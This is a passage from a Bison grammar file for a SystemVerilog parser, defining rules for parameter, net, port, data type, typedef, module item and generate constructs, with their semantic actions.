local_parameter_declarationFront: // IEEE: local_parameter_declaration w/o assignment
varLParamReset implicit_typeE { VARRESET(); VARDECL("localparam"); VARDTYPE($2); }
| varLParamReset data_type { VARRESET(); VARDECL("localparam"); VARDTYPE($2); }
| varLParamReset yTYPE { VARRESET(); VARDECL("localparam"); VARDTYPE($2); }
;
parameter_declarationFront: // IEEE: parameter_declaration w/o assignment
varGParamReset implicit_typeE { VARRESET(); VARDECL("parameter"); VARDTYPE($2); }
| varGParamReset data_type { VARRESET(); VARDECL("parameter"); VARDTYPE($2); }
| varGParamReset yTYPE { VARRESET(); VARDECL("parameter"); VARDTYPE($2); }
;
parameter_port_declarationFront: // IEEE: parameter_port_declaration w/o assignment
// // IEEE: parameter_declaration (minus assignment)
parameter_declarationFront { }
| local_parameter_declarationFront { /*NEED_S09(CURLINE(),"port localparams");*/ }
//
| data_type { VARDTYPE($1); }
| yTYPE { VARDTYPE($1); }
;
net_declaration: // IEEE: net_declaration - excluding implict
net_declarationFront netSigList ';' { }
;
net_declarationFront: // IEEE: beginning of net_declaration
net_declRESET net_type strengthSpecE net_scalaredE net_dataType { VARDTYPE(SPACED($4,$5)); }
| net_declRESET yINTERCONNECT signingE rangeListE { VARNET($2); VARDTYPE(SPACED($3,$4)); }
;
net_declRESET:
/* empty */ { VARRESET_NONLIST("net"); }
;
net_scalaredE<str>:
/* empty */ { $$=""; }
| ySCALARED { $<fl>$=$<fl>1; $$=$1; }
| yVECTORED { $<fl>$=$<fl>1; $$=$1; }
;
net_dataType<str>:
// // If there's a SV data type there shouldn't be a delay on this wire
// // Otherwise #(...) can't be determined to be a delay or parameters
// // Submit this as a footnote to the committee
var_data_type { $<fl>$=$<fl>1; $$=$1; }
| signingE rangeList delayE { $<fl>$=$<fl>1; $$=SPACED($1,$2); }
| signing delayE { $<fl>$=$<fl>1; $$=$1; }
| /*implicit*/ delayE { $<fl>$=$<fl>1; $$=""; }
;
net_type: // ==IEEE: net_type
ySUPPLY0 { VARNET($1); }
| ySUPPLY1 { VARNET($1); }
| yTRI { VARNET($1); }
| yTRI0 { VARNET($1); }
| yTRI1 { VARNET($1); }
| yTRIAND { VARNET($1); }
| yTRIOR { VARNET($1); }
| yTRIREG { VARNET($1); }
| yWAND { VARNET($1); }
| yWIRE { VARNET($1); }
| yWOR { VARNET($1); }
;
varGParamReset:
yPARAMETER { VARRESET_NONLIST($1); }
;
varLParamReset:
yLOCALPARAM { VARRESET_NONLIST($1); }
;
port_direction: // ==IEEE: port_direction + tf_port_direction
// // IEEE 19.8 just "input" FIRST forces type to wire - we'll ignore that here
yINPUT { VARIO($1); }
| yOUTPUT { VARIO($1); }
| yINOUT { VARIO($1); }
| yREF { VARIO($1); }
| yCONST__REF yREF { VARIO($1); }
;
port_directionReset: // IEEE: port_direction that starts a port_declaraiton
// // Used only for declarations outside the port list
yINPUT { VARRESET_NONLIST(""); VARIO($1); }
| yOUTPUT { VARRESET_NONLIST(""); VARIO($1); }
| yINOUT { VARRESET_NONLIST(""); VARIO($1); }
| yREF { VARRESET_NONLIST(""); VARIO($1); }
| yCONST__REF yREF { VARRESET_NONLIST(""); VARIO($1); }
;
port_declaration: // ==IEEE: port_declaration
// // Used inside block; followed by ';'
// // SIMILAR to tf_port_declaration
//
// // IEEE: inout_declaration
// // IEEE: input_declaration
// // IEEE: output_declaration
// // IEEE: ref_declaration
port_directionReset port_declNetE var_data_type { VARDTYPE($3); } list_of_variable_decl_assignments { }
| port_directionReset port_declNetE signingE rangeList { VARDTYPE(SPACED($3,$4)); } list_of_variable_decl_assignments { }
| port_directionReset port_declNetE signing { VARDTYPE($3); } list_of_variable_decl_assignments { }
| port_directionReset port_declNetE /*implicit*/ { VARDTYPE("");/*default_nettype*/} list_of_variable_decl_assignments { }
// // IEEE: interface_declaration
// // Looks just like variable declaration unless has a period
// // See etcInst
;
tf_port_declaration: // ==IEEE: tf_port_declaration
// // Used inside function; followed by ';'
// // SIMILAR to port_declaration
//
port_directionReset var_data_type { VARDTYPE($2); } list_of_tf_variable_identifiers ';' { }
| port_directionReset implicit_typeE { VARDTYPE($2); } list_of_tf_variable_identifiers ';' { }
;
integer_atom_type<str>: // ==IEEE: integer_atom_type
yBYTE { $<fl>$=$<fl>1; $$=$1; }
| ySHORTINT { $<fl>$=$<fl>1; $$=$1; }
| yINT { $<fl>$=$<fl>1; $$=$1; }
| yLONGINT { $<fl>$=$<fl>1; $$=$1; }
| yINTEGER { $<fl>$=$<fl>1; $$=$1; }
| yTIME { $<fl>$=$<fl>1; $$=$1; }
;
integer_vector_type<str>: // ==IEEE: integer_atom_type
yBIT { $<fl>$=$<fl>1; $$=$1; }
| yLOGIC { $<fl>$=$<fl>1; $$=$1; }
| yREG { $<fl>$=$<fl>1; $$=$1; }
;
non_integer_type<str>: // ==IEEE: non_integer_type
ySHORTREAL { $<fl>$=$<fl>1; $$=$1; }
| yREAL { $<fl>$=$<fl>1; $$=$1; }
| yREALTIME { $<fl>$=$<fl>1; $$=$1; }
;
signingE<str>: // IEEE: signing - plus empty
/*empty*/ { $$=""; }
| signing { $<fl>$=$<fl>1; $$=$1; }
;
signing<str>: // ==IEEE: signing
ySIGNED { $<fl>$=$<fl>1; $$=$1; }
| yUNSIGNED { $<fl>$=$<fl>1; $$=$1; }
;
//************************************************
// Data Types
casting_type<str>: // IEEE: casting_type
simple_type { $<fl>$=$<fl>1; $$=$1; }
// // IEEE: constant_primary
// // In expr:cast this is expanded to just "expr"
//
// // IEEE: signing
| ySIGNED { $<fl>$=$<fl>1; $$=$1; }
| yUNSIGNED { $<fl>$=$<fl>1; $$=$1; }
| ySTRING { $<fl>$=$<fl>1; $$=$1; }
| yCONST__ETC/*then `*/ { $<fl>$=$<fl>1; $$=$1; }
;
simple_type<str>: // ==IEEE: simple_type
// // IEEE: integer_type
integer_atom_type { $<fl>$=$<fl>1; $$=$1; }
| integer_vector_type { $<fl>$=$<fl>1; $$=$1; }
| non_integer_type { $<fl>$=$<fl>1; $$=$1; }
// // IEEE: ps_type_identifier
// // IEEE: ps_parameter_identifier (presumably a PARAMETER TYPE)
| package_scopeIdFollowsE yaID__aTYPE { $<fl>$=$<fl>1; $$=$1+$2; }
// // { generate_block_identifer ... } '.'
// // Need to determine if generate_block_identifier can be lex-detected
;
data_typeVar<str>: // IEEE: data_type + virtual_interface_declaration
data_type { $<fl>$=$<fl>1; $$=$1; }
// // IEEE-2009: virtual_interface_declaration
// // IEEE-2012: part of data_type
| yVIRTUAL__INTERFACE yINTERFACE id/*interface*/ parameter_value_assignmentE '.' id/*modport*/
{ $<fl>$=$<fl>1; $$=SPACED($1,SPACED($2,$3)); }
| yVIRTUAL__anyID id/*interface*/ parameter_value_assignmentE '.' id/*modport*/
{ $<fl>$=$<fl>1; $$=SPACED($1,$2); }
;
data_type<str>: // ==IEEE: data_type, excluding class_type etc references
integer_vector_type signingE rangeListE { $<fl>$=$<fl>1; $$=SPACED($1,SPACED($2,$3)); }
| integer_atom_type signingE { $<fl>$=$<fl>1; $$=SPACED($1,$2); }
| non_integer_type { $<fl>$=$<fl>1; $$=$1; }
| ySTRUCT packedSigningE '{' { PARSEP->symPushNewAnon(VAstType::STRUCT); }
/*cont*/ struct_union_memberList '}' packed_dimensionListE
{ $<fl>$=$<fl>1; $$=$1; PARSEP->symPopScope(VAstType::STRUCT); }
| yUNION taggedE packedSigningE '{' { PARSEP->symPushNewAnon(VAstType::UNION); }
/*cont*/ struct_union_memberList '}' packed_dimensionListE
{ $<fl>$=$<fl>1; $$=$1; PARSEP->symPopScope(VAstType::UNION); }
| enumDecl { $<fl>$=$<fl>1; $$=$1; }
| ySTRING { $<fl>$=$<fl>1; $$=$1; }
| yCHANDLE { $<fl>$=$<fl>1; $$=$1; }
// // Rules overlap virtual_interface_declaration
// // Parameters here are SV2009
// // IEEE has ['.' modport] but that will conflict with port
// // declarations which decode '.' modport themselves, so
// // instead see data_typeVar
| yVIRTUAL__INTERFACE yINTERFACE id/*interface*/ parameter_value_assignmentE
{ $<fl>$=$<fl>1; $$=SPACED($1,SPACED($2,$3)); }
| yVIRTUAL__anyID id/*interface*/ parameter_value_assignmentE
{ $<fl>$=$<fl>1; $$=SPACED($1,$2); }
//
// // IEEE: [ class_scope | package_scope ] type_identifier { packed_dimension }
// // See data_type
// // IEEE: class_type
// // See data_type
| yEVENT { $<fl>$=$<fl>1; $$=$1; }
| type_reference { $<fl>$=$<fl>1; $$=$1; }
//
//----------------------
// // REFERENCES
//
// // IEEE: [ class_scope | package_scope ] type_identifier { packed_dimension }
// // IEEE: class_type
// // IEEE: ps_covergroup_identifier
// // Don't distinguish between types and classes so all these combined
| package_scopeIdFollowsE class_typeOneList packed_dimensionListE { $<fl>$=$<fl>1; $$=$<str>1+$<str>2+$3; }
;
// IEEE: struct_union - not needed, expanded in data_type
data_type_or_void<str>: // ==IEEE: data_type_or_void
data_type { $<fl>$=$<fl>1; $$=$1; }
| yVOID { $<fl>$=$<fl>1; $$=$1; }
;
var_data_type<str>: // ==IEEE: var_data_type
data_type { $<fl>$=$<fl>1; $$=$1; }
| yVAR data_type { $<fl>$=$<fl>1; $$=$1; }
| yVAR implicit_typeE { $<fl>$=$<fl>1; $$=$1; }
;
type_reference<str>: // ==IEEE: type_reference
yTYPE '(' exprOrDataType ')' { $<fl>$=$<fl>1; $$="type("+$3+")"; }
;
struct_union_memberList: // IEEE: { struct_union_member }
struct_union_member { }
| struct_union_memberList struct_union_member { }
;
struct_union_member: // ==IEEE: struct_union_member
random_qualifierE data_type_or_void { VARRESET_NONLIST("member"); VARDTYPE(SPACED($1,$2)); }
/*cont*/ list_of_variable_decl_assignments ';' { }
;
list_of_variable_decl_assignments: // ==IEEE: list_of_variable_decl_assignments
variable_decl_assignment { }
| list_of_variable_decl_assignments ',' variable_decl_assignment { }
;
variable_decl_assignment: // ==IEEE: variable_decl_assignment
id variable_dimensionListE sigAttrListE
{ VARDONE($<fl>1, $1, $2, ""); }
| id variable_dimensionListE sigAttrListE '=' variable_declExpr
{ VARDONE($<fl>1, $1, $2, $5); }
| idSVKwd { }
//
// // IEEE: "dynamic_array_variable_identifier '[' ']' [ '=' dynamic_array_new ]"
// // Matches above with variable_dimensionE = "[]"
// // IEEE: "class_variable_identifier [ '=' class_new ]"
// // variable_dimensionE must be empty
// // Pushed into variable_declExpr:dynamic_array_new
//
// // IEEE: "[ covergroup_variable_identifier ] '=' class_new
// // Pushed into variable_declExpr:class_new
| '=' class_new { }
;
list_of_tf_variable_identifiers: // ==IEEE: list_of_tf_variable_identifiers
tf_variable_identifier { }
| list_of_tf_variable_identifiers ',' tf_variable_identifier { }
;
tf_variable_identifier: // IEEE: part of list_of_tf_variable_identifiers
id variable_dimensionListE sigAttrListE
{ VARDONE($<fl>1, $1, $2, ""); }
| id variable_dimensionListE sigAttrListE '=' expr
{ VARDONE($<fl>1, $1, $2, $5); }
;
variable_declExpr<str>: // IEEE: part of variable_decl_assignment - rhs of expr
expr { $<fl>$=$<fl>1; $$=$1; }
| dynamic_array_new { $<fl>$=$<fl>1; $$=$1; }
| class_new { $<fl>$=$<fl>1; $$=$1; }
;
variable_dimensionListE<str>: // IEEE: variable_dimension + empty
/*empty*/ { $$=""; }
| variable_dimensionList { $<fl>$=$<fl>1; $$=$1; }
;
variable_dimensionList<str>: // IEEE: variable_dimension + empty
variable_dimension { $<fl>$=$<fl>1; $$=$1; }
| variable_dimensionList variable_dimension { $<fl>$=$<fl>1; $$=$1+$2; }
;
variable_dimension<str>: // ==IEEE: variable_dimension
// // IEEE: unsized_dimension
'[' ']' { $<fl>$=$<fl>1; $$=""; }
// // IEEE: unpacked_dimension
| anyrange { $<fl>$=$<fl>1; $$=$1; }
| '[' constExpr ']' { $<fl>$=$<fl>1; $$="["+$2+"]"; }
// // IEEE: associative_dimension
| '[' data_type ']' { $<fl>$=$<fl>1; $$="["+$2+"]"; }
| yP_BRASTAR ']' { $<fl>$=$<fl>1; $$="[*]"; }
| '[' '*' ']' { $<fl>$=$<fl>1; $$="[*]"; }
// // IEEE: queue_dimension
// // '[' '$' ']' -- $ is part of expr
// // '[' '$' ':' expr ']' -- anyrange:expr:$
;
random_qualifierE<str>: // IEEE: random_qualifier + empty
/*empty*/ { $$=""; }
| random_qualifier { $<fl>$=$<fl>1; $$=$1; }
;
random_qualifier<str>: // ==IEEE: random_qualifier
yRAND { $<fl>$=$<fl>1; $$=$1; }
| yRANDC { $<fl>$=$<fl>1; $$=$1; }
;
taggedE:
/*empty*/ { }
| yTAGGED { }
;
packedSigningE:
/*empty*/ { }
| yPACKED signingE { }
;
//************************************************
// enum
// IEEE: part of data_type
enumDecl<str>:
yENUM enum_base_typeE '{' enum_nameList '}' rangeListE { $$=$2; }
;
enum_base_typeE<str>: // IEEE: enum_base_type
/* empty */ { $$="enum"; }
// // Not in spec, but obviously "enum [1:0]" should work
// // implicit_type expanded, without empty
| signingE rangeList { $<fl>$=$<fl>1; $$=$1+$2; }
| signing { $<fl>$=$<fl>1; $$=$1; }
//
| integer_atom_type signingE { $<fl>$=$<fl>1; $$=SPACED($1,$2); }
| integer_vector_type signingE regrangeE { $<fl>$=$<fl>1; $$=SPACED($1,SPACED($2,$3)); }
// // below can be idAny or yaID__aTYPE
// // IEEE requires a type, though no shift conflict if idAny
// // IEEE: type_identifier [ packed_dimension ]
// // however other simulators allow [ class_scope | package_scope ] type_identifier
| idAny regrangeE { $<fl>$=$<fl>1; $$=SPACED($1,$2); }
| package_scopeIdFollows idAny rangeListE
{ $<fl>$=$<fl>1; $$ = $<str>1+$<str>2+$3; }
;
enum_nameList:
enum_name_declaration { }
| enum_nameList ',' enum_name_declaration { }
;
enum_name_declaration: // ==IEEE: enum_name_declaration
idAny/*enum_identifier*/ enumNameRangeE enumNameStartE { }
;
enumNameRangeE: // IEEE: second part of enum_name_declaration
/* empty */ { }
| '[' intnumAsConst ']' { }
| '[' intnumAsConst ':' intnumAsConst ']' { }
;
enumNameStartE: // IEEE: third part of enum_name_declaration
/* empty */ { }
| '=' constExpr { }
;
intnumAsConst:
yaINTNUM { }
;
//************************************************
// Typedef
data_declaration: // ==IEEE: data_declaration
// // VARRESET can't be called here - conflicts
data_declarationVar { }
| type_declaration { }
| package_import_declaration { }
// // IEEE 2005: virtual_interface_declaration
// // IEEE 2009 removed this
// // "yVIRTUAL yID yID" looks just like a data_declaration
// // Therefore the virtual_interface_declaration term isn't used
// // 1800-2009:
| net_type_declaration { }
;
class_property: // ==IEEE: class_property, which is {property_qualifier} data_declaration
memberQualResetListE data_declarationVarClass { }
| memberQualResetListE type_declaration { }
| memberQualResetListE package_import_declaration { }
// // IEEE: virtual_interface_declaration
// // "yVIRTUAL yID yID" looks just like a data_declaration
// // Therefore the virtual_interface_declaration term isn't used
;
data_declarationVar: // IEEE: part of data_declaration
// // The first declaration has complications between assuming what's the type vs ID declaring
data_declarationVarFront list_of_variable_decl_assignments ';' { }
;
data_declarationVarClass: // IEEE: part of data_declaration (for class_property)
// // The first declaration has complications between assuming what's the type vs ID declaring
data_declarationVarFrontClass list_of_variable_decl_assignments ';' { }
;
data_declarationVarFront: // IEEE: part of data_declaration
// // implicit_type expanded into /*empty*/ or "signingE rangeList"
constE yVAR lifetimeE data_type { VARRESET(); VARDECL("var"); VARDTYPE(SPACED($1,$4)); }
| constE yVAR lifetimeE { VARRESET(); VARDECL("var"); VARDTYPE($1); }
| constE yVAR lifetimeE signingE rangeList { VARRESET(); VARDECL("var"); VARDTYPE(SPACED($1,SPACED($4,$5))); }
//
// // Expanded: "constE lifetimeE data_type"
| /**/ data_typeVar { VARRESET(); VARDECL("var"); VARDTYPE($1); }
| /**/ lifetime data_typeVar { VARRESET(); VARDECL("var"); VARDTYPE($2); }
| yCONST__ETC lifetimeE data_typeVar { VARRESET(); VARDECL("var"); VARDTYPE(SPACED($1,$3)); }
// // = class_new is in variable_decl_assignment
//
// // IEEE: virtual_interface_declaration
// // data_type includes VIRTUAL_INTERFACE, so added to data_typeVar
;
data_declarationVarFrontClass: // IEEE: part of data_declaration (for class_property)
// // VARRESET called before this rule
// // yCONST is removed, added to memberQual rules
// // implicit_type expanded into /*empty*/ or "signingE rangeList"
yVAR lifetimeE data_type { VARDECL("var"); VARDTYPE(SPACED(GRAMMARP->m_varDType,$3)); }
| yVAR lifetimeE { VARDECL("var"); VARDTYPE(GRAMMARP->m_varDType); }
| yVAR lifetimeE signingE rangeList { VARDECL("var"); VARDTYPE(SPACED(GRAMMARP->m_varDType,SPACED($3,$4))); }
//
// // Expanded: "constE lifetimeE data_type"
| /**/ data_typeVar { VARDECL("var"); VARDTYPE(SPACED(GRAMMARP->m_varDType,$1)); }
// // lifetime is removed, added to memberQual rules to avoid conflict
// // yCONST is removed, added to memberQual rules to avoid conflict
// // = class_new is in variable_decl_assignment
;
net_type_declaration: // IEEE: net_type_declaration
yNETTYPE data_type idAny/*net_type_identifier*/ ';'
{ PARSEP->syms().replaceInsert(VAstType::TYPE, $3); }
// // package_scope part of data_type
| yNETTYPE data_type idAny yWITH__ETC package_scopeIdFollowsE id/*tf_identifier*/ ';'
{ PARSEP->syms().replaceInsert(VAstType::TYPE, $3); }
| yNETTYPE package_scopeIdFollowsE id/*net_type_identifier*/ idAny/*net_type_identifier*/ ';'
{ PARSEP->syms().replaceInsert(VAstType::TYPE, $4); }
;
constE<str>: // IEEE: part of data_declaration
/* empty */ { $$ = ""; }
| yCONST__ETC { $$ = $1; }
;
implicit_typeE<str>: // IEEE: part of *data_type_or_implicit
// // Also expanded in data_declaration
/* empty */ { $$ = ""; }
| signingE rangeList { $$ = SPACED($1,$2); }
| signing { $$ = $1; }
;
assertion_variable_declaration: // IEEE: assertion_variable_declaration
// // IEEE: var_data_type expanded
var_data_type list_of_variable_decl_assignments ';' { }
;
type_declaration: // ==IEEE: type_declaration
// // Use idAny, as we can redeclare a typedef on an existing typedef
yTYPEDEF data_type idAny variable_dimensionListE ';'
{ VARDONETYPEDEF($<fl>1,$3,$2,$4); }
| yTYPEDEF id/*interface*/ bit_selectE '.' idAny/*type*/ idAny/*type*/ ';'
{ VARDONETYPEDEF($<fl>1,$6,$2+$3+"."+$5,""); }
// // Combines into above "data_type id" rule
| yTYPEDEF id ';' { VARDONETYPEDEF($<fl>1,$2,"",""); }
| yTYPEDEF yENUM idAny ';' { PARSEP->syms().replaceInsert(VAstType::ENUM, $3); }
| yTYPEDEF ySTRUCT idAny ';' { PARSEP->syms().replaceInsert(VAstType::STRUCT, $3); }
| yTYPEDEF yUNION idAny ';' { PARSEP->syms().replaceInsert(VAstType::UNION, $3); }
| yTYPEDEF yCLASS idAny ';' { PARSEP->syms().replaceInsert(VAstType::CLASS, $3); }
| yTYPEDEF yINTERFACE yCLASS idAny ';' { PARSEP->syms().replaceInsert(VAstType::CLASS, $3); }
;
//************************************************
// Module Items
module_itemListE: // IEEE: Part of module_declaration
/* empty */ { }
| module_itemList { }
;
module_itemList: // IEEE: Part of module_declaration
module_item { }
| module_itemList module_item { }
;
module_item: // ==IEEE: module_item
port_declaration ';' { }
| non_port_module_item { }
;
non_port_module_item: // ==IEEE: non_port_module_item
generate_region { }
| module_or_generate_item { }
| specify_block { }
| specparam_declaration { }
| program_declaration { }
| module_declaration { }
| interface_declaration { }
| timeunits_declaration { }
;
module_or_generate_item: // ==IEEE: module_or_generate_item
// // IEEE: parameter_override
yDEFPARAM list_of_defparam_assignments ';' { }
// // IEEE: gate_instantiation + udp_instantiation + module_instantiation
// // not here, see etcInst in module_common_item
// // We joined udp & module definitions, so this goes here
| combinational_body { }
// // This module_common_item shared with interface_or_generate_item:module_common_item
| module_common_item { }
;
module_common_item: // ==IEEE: module_common_item
module_or_generate_item_declaration { }
// // IEEE: interface_instantiation
// // + IEEE: program_instantiation
// // + module_instantiation from module_or_generate_item
| etcInst { }
| assertion_item { }
| bind_directive { }
| continuous_assign { }
// // IEEE: net_alias
| yALIAS variable_lvalue aliasEqList ';' { }
| initial_construct { }
| final_construct { }
// // IEEE: always_construct
| yALWAYS stmtBlock { }
| loop_generate_construct { }
| conditional_generate_construct { }
| elaboration_system_task { }
//
| error ';' { }
;
continuous_assign: // IEEE: continuous_assign
yASSIGN strengthSpecE delayE assignList ';' { }
;
initial_construct: // IEEE: initial_construct
yINITIAL stmtBlock { }
;
final_construct: // IEEE: final_construct
yFINAL stmtBlock { }
;
module_or_generate_item_declaration: // ==IEEE: module_or_generate_item_declaration
package_or_generate_item_declaration { }
| genvar_declaration { }
| clocking_declaration { }
| yDEFAULT yCLOCKING idAny/*new-clocking_identifier*/ ';' { }
| yDEFAULT yDISABLE yIFF expr/*expression_or_dist*/ ';' { }
;
aliasEqList: // IEEE: part of net_alias
'=' variable_lvalue { }
| aliasEqList '=' variable_lvalue { }
;
bind_directive: // ==IEEE: bind_directive + bind_target_scope
// // ';' - Note IEEE grammar is wrong, includes extra ';' - it's already in module_instantiation
// // We merged the rules - id may be a bind_target_instance or module_identifier or interface_identifier
yBIND bind_target_instance bind_instantiation { }
| yBIND bind_target_instance ':' bind_target_instance_list bind_instantiation { }
;
bind_target_instance_list: // ==IEEE: bind_target_instance_list
bind_target_instance { }
| bind_target_instance_list ',' bind_target_instance { }
;
bind_target_instance: // ==IEEE: bind_target_instance
hierarchical_identifierBit { }
;
bind_instantiation: // ==IEEE: bind_instantiation
// // IEEE: program_instantiation
// // IEEE: + module_instantiation
// // IEEE: + interface_instantiation
etcInst { }
;
//************************************************
// Generates
//
// Way down in generate_item is speced a difference between module,
// interface and checker generates. modules and interfaces are almost
// identical (minus DEFPARAMs) so we overlap them. Checkers are too
// different, so we copy all rules for checkers.
generate_region: // ==IEEE: generate_region
yGENERATE ~c~genItemList yENDGENERATE { }
| yGENERATE yENDGENERATE { }
;
c_generate_region: // IEEE: generate_region (for checkers)
BISONPRE_COPY(generate_region,{s/~c~/c_/g}) // {copied}
;
generate_block: // IEEE: generate_block
// // Either a single item, or a begin-end block
~c~generate_item { }
| ~c~genItemBegin { }
;
c_generate_block: // IEEE: generate_block (for checkers)
BISONPRE_COPY(generate_block,{s/~c~/c_/g}) // {copied}
;
genItemBegin: // IEEE: part of generate_block
yBEGIN ~c~genItemList yEND { }
| yBEGIN yEND { }
| id ':' yBEGIN ~c~genItemList yEND endLabelE { }
| id ':' yBEGIN yEND endLabelE { }
| yBEGIN ':' idAny ~c~genItemList yEND endLabelE { }
| yBEGIN ':' idAny yEND endLabelE { }
;
c_genItemBegin: // IEEE: part of generate_block (for checkers)
BISONPRE_COPY(genItemBegin,{s/~c~/c_/g}) // {copied}
;
genItemOrBegin: // Not in IEEE, but our begin isn't under generate_item
~c~generate_item { }
| ~c~genItemBegin { }
;
c_genItemOrBegin: // (for checkers)
BISONPRE_COPY(genItemOrBegin,{s/~c~/c_/g}) // {copied}
;
genItemList:
~c~genItemOrBegin { }
| ~c~genItemList ~c~genItemOrBegin { }
;
c_genItemList: // (for checkers)
BISONPRE_COPY(genItemList,{s/~c~/c_/g}) // {copied}
;
generate_item: // IEEE: module_or_interface_or_generate_item
// // Only legal when in a generate under a module (or interface under a module)
module_or_generate_item { }
// // Only legal when in a generate under an interface
| interface_or_generate_item { }
// // IEEE: checker_or_generate_item
// // Only legal when in a generate under a checker
// // so below in c_generate_item
;
c_generate_item: // IEEE: generate_item (for checkers)
checker_or_generate_item { }
;
conditional_generate_construct: // ==IEEE: conditional_generate_construct
// // IEEE: case_generate_construct
yCASE '(' expr ')' yENDCASE { }
| yCASE '(' expr ')' ~c~case_generate_itemList yENDCASE { }
// // IEEE: if_generate_construct
| yIF '(' expr ')' ~c~generate_block %prec prLOWER_THAN_ELSE { }
| yIF '(' expr ')' ~c~generate_block yELSE ~c~generate_block { }
;
c_conditional_generate_construct: // IEEE: conditional_generate_construct (for checkers)
BISONPRE_COPY(conditional_generate_construct,{s/~c~/c_/g}) // {copied}
;
loop_generate_construct: // ==IEEE: loop_generate_construct
yFOR '(' genvar_initialization ';' expr ';' genvar_iteration ')' ~c~generate_block
{ }
;
c_loop_generate_construct: // IEEE: loop_generate_construct (for checkers)
BISONPRE_COPY(loop_generate_construct,{s/~c~/c_/g}) // {copied}
;
genvar_initialization: // ==IEEE: genvar_initalization
id '=' constExpr { }
| yGENVAR genvar_identifierDecl '=' constExpr { }
;
genvar_iteration: // ==IEEE: genvar_iteration
// // IEEE: assignment_operator plus IDs
| id '=' expr { }
| id yP_PLUSEQ expr { }
| id yP_MINUSEQ expr { }
| id yP_TIMESEQ expr { }
| id yP_DIVEQ expr { }
| id yP_MODEQ expr { }
| id yP_ANDEQ expr { }
| id yP_OREQ expr { }
| id yP_XOREQ expr { }
| id yP_SLEFTEQ expr { }
| id yP_SRIGHTEQ expr { }
| id yP_SSRIGHTEQ expr { }
// // inc_or_dec_operator
| yP_PLUSPLUS id { }
| yP_MINUSMINUS id { }
| id yP_PLUSPLUS { }
| id yP_MINUSMINUS { }
;
case_generate_itemList: // IEEE: { case_generate_item }
~c~case_generate_item { }
| ~c~case_generate_itemList ~c~case_generate_item { }
;
c_case_generate_itemList: // IEEE: { case_generate_item } (for checkers)
BISONPRE_COPY(case_generate_itemList,{s/~c~/c_/g}) // {copied}
;
case_generate_item: // ==IEEE: case_generate_item
caseCondList ':' ~c~generate_block { }
| yDEFAULT ':' ~c~generate_block { }
| yDEFAULT ~c~generate_block { }
;
c_case_generate_item: // IEEE: case_generate_item (for checkers)
BISONPRE_COPY(case_generate_item,{s/~c~/c_/g}) // {copied}
;
//************************************************
// Assignments and register declarations
assignList:
assignOne { }
| assignList ',' assignOne { }
;
assignOne:
variable_lvalue '=' expr { PARSEP->contassignCb($<fl>2,"assign",$1,$3); }
;
delay_or_event_controlE: // IEEE: delay_or_event_control plus empty
/* empty */ { }
| delay_control { } /* ignored */
| event_control { } /* ignored */
| yREPEAT '(' expr ')' event_control { } /* ignored */
;
delayE:
/* empty */ { }
| delay_control { } /* ignored */
;
delay_control: // ==IEEE: delay_control
'#' delay_value { } /* ignored */
| '#' '(' minTypMax ')' { } /* ignored */
| '#' '(' minTypMax ',' minTypMax ')' { } /* ignored */
| '#' '(' minTypMax ',' minTypMax ',' minTypMax ')' { } /* ignored */
;
delay_value: // ==IEEE:delay_value
// // IEEE: ps_identifier
ps_id_etc { }
| yaINTNUM { }
| yaFLOATNUM { }
| yaTIMENUM { }
;
delayExpr:
expr { }
;
minTypMax: // IEEE: mintypmax_expression and constant_mintypmax_expression
delayExpr { }
| delayExpr ':' delayExpr ':' delayExpr { }
;
netSigList: // IEEE: list_of_port_identifiers
netSig { }
| netSigList ',' netSig { }
;
netSig: // IEEE: net_decl_assignment - one element from list_of_port_identifiers
netId sigAttrListE { VARDONE($<fl>1, $1, "", ""); }
| netId sigAttrListE '=' expr { VARDONE($<fl>1, $1, "", $4); }
| netId variable_dimensionList sigAttrListE { VARDONE($<fl>1, $1, $2, ""); }
;
netId<str>:
id/*new-net*/ { $<fl>$=$<fl>1; $$=$1; }
| idSVKwd { $<fl>$=$<fl>1; $$=$1; }
;
sigAttrListE:
/* empty */ { }
;
rangeListE<str>: // IEEE: [{packed_dimension}]
/* empty */ { $$=""; }
| rangeList { $<fl>$=$<fl>1; $$ = $1; }
;
rangeList<str>: // IEEE: {packed_dimension}
anyrange { $<fl>$=$<fl>1; $$ = $1; }
| rangeList anyrange { $<fl>$=$<fl>1; $$ = $1+$2; }
;
regrangeE<str>:
/* empty */ { $$=""; }
| anyrange { $<fl>$=$<fl>1; $$=$1; }
;
bit_selectE<str>: // IEEE: constant_bit_select (IEEE included empty)
/* empty */ { $$ = ""; }
| '[' constExpr ']' { $<fl>$=$<fl>1; $$ = "["+$2+"]"; }
;
// IEEE: select
// Merged into more general idArray
anyrange<str>:
'[' constExpr ':' constExpr ']' { $<fl>$=$<fl>1; $$ = "["+$2+":"+$4+"]"; }
;
packed_dimensionListE<str>: // IEEE: [{ packed_dimension }]
/* empty */ { $$=""; }
| packed_dimensionList { $<fl>$=$<fl>1; $$=$1; }
;
packed_dimensionList<str>: // IEEE: { packed_dimension }
packed_dimension { $<fl>$=$<fl>1; $$=$1; }
| packed_dimensionList packed_dimension { $<fl>$=$<fl>1; $$=$1+$2; }
;
packed_dimension<str>: // ==IEEE: packed_dimension
anyrange { $<fl>$=$<fl>1; $$=$1; }
| '[' ']' { $$="[]"; }
;
//************************************************
// Parameters
param_assignment: // ==IEEE: param_assignment
// // IEEE: constant_param_expression
// // param_expression: '$' is in expr
id/*new-parameter*/ variable_dimensionListE sigAttrListE '=' exprOrDataTypeOrMinTypMax
{ $<fl>$=$<fl>1; VARDONE($<fl>1, $1, $2, $5); }
// // only legal in port list; throws error if not set
| id/*new-parameter*/ variable_dimensionListE sigAttrListE
{ $<fl>$=$<fl>1; VARDONE($<fl>1, $1, $2, ""); NEED_S09($<fl>1,"optional parameter defaults"); }
;
list_of_param_assignments: // ==IEEE: list_of_param_assignments
param_assignment { }
| list_of_param_assignments ',' param_assignment { }
;
list_of_defparam_assignments: // ==IEEE: list_of_defparam_assignments
defparam_assignment { }
| list_of_defparam_assignments ',' defparam_assignment { }
;
defparam_assignment: // ==IEEE: defparam_assignment
hierarchical_identifier/*parameter*/ '=' expr { PARSEP->defparamCb($<fl>2,"defparam",$1,$3); }
;
//************************************************
// Instances
// We don't know identifier types, so this matches all module,udp,etc instantiation
// module_id [#(params)] name (pins) [, name ...] ; // module_instantiation
// gate (strong0) [#(delay)] [name] (pins) [, (pins)...] ; // gate_instantiation
// program_id [#(params}] name ; // program_instantiation
// interface_id [#(params}] name ; // interface_instantiation
// checker_id name (pins) ; // checker_instantiation
etcInst: // IEEE: module_instantiation + gate_instantiation + udp_instantiation
